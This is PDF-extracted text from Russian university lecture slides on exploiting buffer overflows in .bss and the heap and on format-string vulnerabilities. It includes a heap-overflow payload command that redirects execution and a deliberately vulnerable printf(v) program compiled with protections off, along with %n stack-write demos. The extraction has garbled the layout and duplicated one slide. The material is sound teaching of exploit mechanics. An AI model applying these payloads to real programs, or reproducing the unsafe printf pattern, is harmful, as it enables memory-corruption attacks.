Лекция 3
.pdfПереполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
Результат
$ ./vuln_heap $(python -c 'print "a"* 104 + "\x21\xda\xff\xff"') addr buf: 0x80ed608
addr f: 0x80ed670 $ ls -1 /
bin boot dev etc home
initrd.img
initrd.img.old lib
lib32
lib64
libx32
lost+found media
mnt opt proc root
...
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
10/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
fmt0.c (печать hex-значения переменной)
1 # include < stdio .h >
2 int main ( int argc , char * argv [])
3 {
4 |
const unsigned long t = 1234567; |
5 |
printf ("% lX \n" , t ); |
6 |
return 0; |
7}
Компиляция: gcc -g -m32 fmt0.c -o fmt0
Запуск: ./fmt0 Вывод: 12D687
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
11/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
fmt1.c (выравнивание нулями слева)
1 # include < stdio .h >
2 int main ( int argc , char * argv [])
3 {
4 |
const unsigned long t = 1234567; |
5 |
printf (" .15% lX \n" ); |
6 |
return 0; |
7}
Компиляция: gcc -g -m32 fmt1.c -o fmt1
Запуск: ./fmt1
Вывод: 00000000012D687
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
12/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
fmt2.c (печать элементов на верхушке стека)
1 |
# include < stdio .h > |
2 int main ( int argc , char * argv []) |
|
3 |
{ |
4 |
const unsigned long t = 1234567; |
5 |
printf (" addr &t: %lx , val t: %lX\n", &t, t); |
6 |
printf ("%lX %lX"); |
7 |
printf ("\ naddr &t: %lx , val t: %lX\n", &t, t); |
8 |
return 0; |
9}
Компиляция: gcc -g -m32 fmt2.c -o fmt2
Запуск: ./fmt2
Вывод: addr &t: BFA15C28, val t: 12D687 BFA15C28 12D687
addr &t: BFA15C28, val t: 12D687
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
13/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
fmt3.c (печать II элемента с верхушки стека)
1 |
# include < stdio .h > |
2 int main ( int argc , char * argv []) |
|
3 |
{ |
4 |
const unsigned long t = 1234567; |
5 |
printf (" addr &t: %lx , val t: %lX\n", &t, t); |
6 |
printf ("%2\ $lX"); |
7 |
printf ("\ naddr &t: %lx , val t: %lX\n", &t, t); |
8 |
return 0; |
9}
Компиляция: gcc -g -m32 fmt3.c -o fmt3
Запуск: ./fmt3
Вывод: addr &t: BF9C0698, val t: 12D687 12D687
addr &t: BF9C0698, val t: 12D687
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
14/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
fmt4.c (перезаписывание верхушки стека)
1 |
# include < stdio .h > |
2 int main ( int argc , char * argv []) |
|
3 |
{ |
4 |
const unsigned long t = 1234567; |
5 |
printf (" addr &t: %lx , val t: %lX\n", &t, t); |
6 |
printf (" AAAAA %n"); |
7 |
printf ("\ naddr &t: %lx , val t: %lX\n", &t, t); |
8 |
return 0; |
9}
Компиляция: gcc -g -m32 fmt4.c -o fmt4
Запуск: ./fmt4
Вывод: addr &t: BF86E2A8, val t: 12D687 AAAAA
addr &t: BF86E2A8, val t: 5
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
15/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
fmt5.c (перезаписывание верхушки стека)
1 |
# include < stdio .h > |
2 int main ( int argc , char * argv []) |
|
3 |
{ |
4 |
const unsigned long t = 1234567; |
5 |
printf (" addr &t: %lx , val t: %lX\n", &t, t); |
6 |
printf (" AAAAA %1\ $n"); |
7 |
printf ("\ naddr &t: %lx , val t: %lX\n", &t, t); |
8 |
return 0; |
9}
Компиляция: gcc -g -m32 fmt5.c -o fmt5
Запуск: ./fmt5
Вывод: addr &t: BF86E2A8, val t: 12D687 AAAAA
addr &t: BF86E2A8, val t: 5
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
16/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
printf |
Эксплойт форматной строки |
|
|
|
|
fmt6.c (перезаписывание верхушки стека)
1 |
# include < stdio .h > |
2 int main ( int argc , char * argv []) |
|
3 |
{ |
4 |
const unsigned long t = 1234567; |
5 |
printf (" addr &t: %lx , val t: %lX\n", &t, t); |
6 |
printf ("%.9 lX %1\ $n"); |
7 |
printf ("\ naddr &t: %lx , val t: %lX\n", &t, t); |
8 |
return 0; |
9}
Компиляция: gcc -g -m32 fmt6.c -o fmt6
Запуск: ./fmt6
Вывод: addr &t: BFBA0D88, val t: 12D687 0BFBA0D88
addr &t: BFBA0D88, val t: 9
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
17/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
|
|
fmt_string.c |
|
1 |
# include < stdio .h > |
|
2 |
# include < string .h > |
|
3 |
# include < stdlib .h > |
|
4 void foo ( const |
char *v) |
|
5 |
{ |
|
6 |
const size_t l = strlen (v ); |
|
7 |
printf ("* &l: %lX , l: %zu\n", |
|
8 |
&l, l); |
|
9 p r i n t f ( v ) ;
10printf ("^ &l: %lX , l: %zu\n",
11&l, l);
12}
13 int |
main (int |
argc , char * argv []) |
14 { |
|
|
15 if |
( argc != |
2) exit (1); |
16foo( argv [1]);
17return 0;
18}
Компиляция: gcc -g -m32 --static \
-fno-stack-protector -z execstack \ fmt_string.c -o fmt_string
printf |
Эксплойт форматной строки |
./fmt_string aaa
* &l: FFFFD6BC, l: 3 aaa^ &l: FFFFD6BC, l: 3
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
18/26 |
Переполнение буфера в .bss |
Переполнение буфера в куче |
|
|
fmt_string.c |
|
1 |
# include < stdio .h > |
|
2 |
# include < string .h > |
|
3 |
# include < stdlib .h > |
|
4 void foo ( const |
char *v) |
|
5 |
{ |
|
6 |
const size_t l = strlen (v ); |
|
7 |
printf ("* &l: %lX , l: %zu\n", |
|
8 |
&l, l); |
|
9 p r i n t f ( v ) ;
10printf ("^ &l: %lX , l: %zu\n",
11&l, l);
12}
13 int |
main (int |
argc , char * argv []) |
14 { |
|
|
15 if |
( argc != |
2) exit (1); |
16foo( argv [1]);
17return 0;
18}
Компиляция: gcc -g -m32 --static \
-fno-stack-protector -z execstack \ fmt_string.c -o fmt_string
printf |
Эксплойт форматной строки |
./fmt_string aaa
* &l: FFFFD6BC, l: 3 aaa^ &l: FFFFD6BC, l: 3
./fmt_string %lX (èëè %1\$lX)
* &l: FFFFD6BC, l: 3 (5) FFFFD6BC &l: FFFFD6BC, l: 3 (5)
Браницкий А.А., СПбГУТ |
Лекция 3, Санкт-Петербург, 2021 |
18/26 |